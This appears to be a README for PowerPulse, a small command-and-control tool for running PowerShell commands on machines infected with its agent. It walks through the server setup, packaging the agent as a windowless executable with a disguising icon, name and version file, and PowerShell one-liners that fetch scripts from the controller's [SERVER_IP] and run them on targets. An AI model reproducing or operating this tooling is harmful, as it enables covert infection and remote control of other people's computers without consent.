README.md

PowerPulse C2 Overview

PowerPulse is a basic C2 that lets you execute powershell commands on target machines once the machines are infected with a custom executable file

C2 Dashboard

C2 Agent Details Page

Installation

Clone the repository and then install virtual environment:

python3 -m venv venv

Next, activate virtual environment:

source venv/bin/activate  # On macOS/Linux
venv\Scripts\activate     # On Windows

Then, install all the required packages:

pip install -r requirements.txt

Server

You should include 3 JSON files in /server directory: agents.json, commands_output.json, commands.json

Run the server:

python server/server.py

Agent

Run agent from python file

python agent/agent.py

Install EXE

pyinstaller --onefile --noconsole --icon=cog.ico agent.py

Install EXE (with a different name)

pyinstaller --onefile --noconsole --icon=cog.ico --name=ExeName agent.py

Install EXE (with a name + a custom version file)

pyinstaller --onefile --noconsole --icon=cog.ico --name=ExeName --version-file=version.txt agent.py

Custom powershell script usage:

To run custom powershell scripts on target machine (Agent), you can execute this command:

Invoke-Expression ( [System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri "http://[SERVER_IP]:5000/static/scripts/script.ps1").Content) )

Change wallpaper to cat image:

Invoke-Expression ( [System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri "http://[SERVER_IP]:5000/static/scripts/wallpaper.ps1").Content) )